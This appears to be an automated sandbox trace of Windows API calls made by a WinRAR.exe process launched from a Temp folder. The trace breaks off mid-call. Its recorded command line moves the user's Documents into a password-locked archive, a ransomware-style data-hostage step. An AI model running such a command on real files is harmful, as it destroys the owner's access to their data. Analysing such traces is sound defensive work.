0x0 [0057.599] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0057.600] GetCommandLineA () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0057.600] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0057.600] GetLastError () returned 0x0 [0057.600] SetLastError (dwErrCode=0x0) [0057.600] GetLastError () returned 0x0 [0057.600] SetLastError (dwErrCode=0x0) [0057.600] GetACP () returned 0x4e4 [0057.600] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x228) returned 0x1162e7cd0f0 [0057.600] IsValidCodePage (CodePage=0x4e4) returned 1 [0057.600] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x141a0ffb10 | out: lpCPInfo=0x141a0ffb10) returned 1 [0057.600] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x141a0ff3b0 | out: lpCPInfo=0x141a0ff3b0) returned 1 [0057.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x141a0ff3d0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x141a0ff3d0, cbMultiByte=256, lpWideCharStr=0x141a0ff100, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ╠⹼Ė") returned 256 [0057.600] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ╠⹼Ė", cchSrc=256, lpCharType=0x141a0ff6d0 | out: lpCharType=0x141a0ff6d0) returned 1 [0057.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x141a0ff3d0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x141a0ff3d0, cbMultiByte=256, lpWideCharStr=0x141a0ff0a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0057.600] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x7ff92f150000 [0057.600] GetProcAddress (hModule=0x7ff92f150000, lpProcName="LCMapStringEx") returned 0x7ff92f17c800 [0057.600] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0057.600] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x141a0fee90, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0057.600] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x141a0ff4d0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0057.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x141a0ff3d0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x141a0ff3d0, cbMultiByte=256, lpWideCharStr=0x141a0ff0a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0057.600] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0057.600] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x141a0fee90, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0057.600] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x141a0ff5d0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0057.600] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x100) returned 0x1162e7decd0 [0057.601] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x7ff6f76b2ff0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x85) returned 0x1162e7d0bf0 [0057.601] RtlInitializeSListHead (in: ListHead=0x7ff6f76b2e00 | out: ListHead=0x7ff6f76b2e00) [0057.601] GetLastError () returned 0x0 [0057.601] SetLastError (dwErrCode=0x0) [0057.601] GetEnvironmentStringsW () returned 0x1162e7e0dc0* [0057.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\FD1HVy\\Documents", cchWideChar=1384, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1384 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x568) returned 0x1162e7e18a0 [0057.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\FD1HVy\\Documents", cchWideChar=1384, lpMultiByteStr=0x1162e7e18a0, cbMultiByte=1384, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Users\\FD1HVy\\Documents", lpUsedDefaultChar=0x0) returned 1384 [0057.601] FreeEnvironmentStringsW (penv=0x1162e7e0dc0) returned 1 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x128) returned 0x1162e7cfe00 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x1f) returned 0x1162e7ce3a0 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x28) returned 0x1162e7ce7c0 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x31) returned 0x1162e7c4950 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x3c) returned 0x1162e7da030 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x31) returned 0x1162e7c2f10 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x14) returned 0x1162e7d76d0 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x24) returned 0x1162e7ce820 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0xd) returned 0x1162e7d72d0 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x17) returned 0x1162e7d77f0 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x2b) returned 0x1162e7c2f50 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x15) returned 0x1162e7d7750 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x17) returned 0x1162e7d71f0 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x22) returned 0x1162e7ce340 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0xe) returned 0x1162e7d7710 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0xc1) returned 0x1162e7c5680 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x3e) returned 0x1162e7d99a0 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x1d) returned 0x1162e7ce430 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x48) returned 0x1162e7da080 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x12) returned 0x1162e7d7290 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x18) returned 0x1162e7d7730 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x1b) returned 0x1162e7ce6a0 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x1e) returned 0x1162e7ce460 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x29) returned 0x1162e7cbfd0 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x1e) returned 0x1162e7ce6d0 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0xc) returned 0x1162e7d72f0 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x6b) returned 0x1162e7ce890 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x17) returned 0x1162e7d71b0 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0xf) returned 0x1162e7d7810 [0057.601] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x16) returned 0x1162e7d7790 [0057.602] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x28) returned 0x1162e7ce520 [0057.602] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x27) returned 0x1162e7ce550 [0057.602] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x12) returned 0x1162e7d73d0 [0057.602] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x21) returned 0x1162e7ce580 [0057.602] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x10) returned 0x1162e7d7310 [0057.602] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x1c) returned 0x1162e7ccce0 [0057.602] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x12) returned 0x1162e7d77b0 [0057.602] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7e18a0 | out: hHeap=0x1162e7c0000) returned 1 [0057.602] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ff92fdd0000 [0057.602] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="InitializeConditionVariable") returned 0x7ff931fb35c0 [0057.602] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SleepConditionVariableCS") returned 0x7ff92f1be960 [0057.602] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="WakeAllConditionVariable") returned 0x7ff931fa6090 [0057.602] RtlInitializeConditionVariable () returned 0x7ff931fa6090 [0057.602] QueryPerformanceFrequency (in: lpFrequency=0x141a0ffc20 | out: lpFrequency=0x141a0ffc20*=100000000) returned 1 [0057.602] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0ffc28 | out: lpPerformanceCount=0x141a0ffc28*=14893080587) returned 1 [0057.602] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x8, Size=0x1000) returned 0x1162e7e0dc0 [0057.602] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6f75c1a80) returned 0x0 [0057.604] GetCurrentProcess () returned 0xffffffffffffffff [0057.604] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x141a0ffb10, lpSystemAffinityMask=0x141a0ffb18 | out: lpProcessAffinityMask=0x141a0ffb10, lpSystemAffinityMask=0x141a0ffb18) returned 1 [0057.604] GetCurrentProcess () returned 0xffffffffffffffff [0057.604] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x141a0ffb20, lpSystemAffinityMask=0x141a0ffb28 | out: lpProcessAffinityMask=0x141a0ffb20, lpSystemAffinityMask=0x141a0ffb28) returned 1 [0057.605] GetCurrentProcess () returned 0xffffffffffffffff [0057.605] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x141a0ffb50, lpSystemAffinityMask=0x141a0ffb58 | out: lpProcessAffinityMask=0x141a0ffb50, lpSystemAffinityMask=0x141a0ffb58) returned 1 [0057.606] GetCurrentProcess () returned 0xffffffffffffffff [0057.606] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x141a0ffb50, lpSystemAffinityMask=0x141a0ffb58 | out: lpProcessAffinityMask=0x141a0ffb50, lpSystemAffinityMask=0x141a0ffb58) returned 1 [0057.607] GetSystemMetrics (nIndex=7) returned 3 [0057.898] GetSystemMetrics (nIndex=8) returned 3 [0057.900] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x141a0ffbf0 | out: lpCPInfo=0x141a0ffbf0) returned 1 [0057.904] GetDC (hWnd=0x0) returned 0x10105d6 [0057.904] GetDeviceCaps (hdc=0x10105d6, index=90) returned 96 [0057.904] ReleaseDC (hWnd=0x0, hDC=0x10105d6) returned 1 [0057.904] GetDC (hWnd=0x0) returned 0x60100ce [0057.904] GetDeviceCaps (hdc=0x60100ce, index=88) returned 96 [0057.904] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0057.905] GetStartupInfoW (in: lpStartupInfo=0x141a0ffbd0 | out: lpStartupInfo=0x141a0ffbd0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0057.905] GetModuleHandleW (lpModuleName="kernel32") returned 0x7ff92fdd0000 [0057.905] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetDllDirectoryW") returned 0x7ff92fdee3c0 [0057.905] SetDllDirectoryW (lpPathName="") returned 1 [0057.905] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetDefaultDllDirectories") returned 0x7ff92f228b70 [0057.905] SetErrorMode (uMode=0x8005) returned 0x0 [0057.905] GetCurrentProcess () returned 0xffffffffffffffff [0057.905] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x141a0fca90, lpSystemAffinityMask=0x141a0fca98 | out: lpProcessAffinityMask=0x141a0fca90, lpSystemAffinityMask=0x141a0fca98) returned 1 [0057.905] GetCurrentThreadId () returned 0x48c [0057.906] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x190 [0057.906] RegisterClipboardFormatW (lpszFormat="WMUser_DisplayError") returned 0xc181 [0057.906] GetModuleHandleExW (in: dwFlags=0x6, lpModuleName=0x7ff6f756cf8c, phModule=0x141a0fbd40 | out: phModule=0x141a0fbd40*=0x7ff6f74d0000) returned 1 [0057.906] GetModuleFileNameW (in: hModule=0x7ff6f74d0000, lpFilename=0x7ff6f7659740, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0057.906] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.ini")) returned 0xffffffff [0057.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.ini")) returned 0xffffffff [0057.907] SHGetMalloc (in: ppMalloc=0x141a0fbcc0 | out: ppMalloc=0x141a0fbcc0*=0x7ff92fcdf3f0) returned 0x0 [0057.907] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x141a0fbd08 | out: ppidl=0x141a0fbd08) returned 0x0 [0058.135] SHGetPathFromIDListW (in: pidl=0x1162e7e2250, pszPath=0x7ff6f7659740 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0058.138] GetFileAttributesW 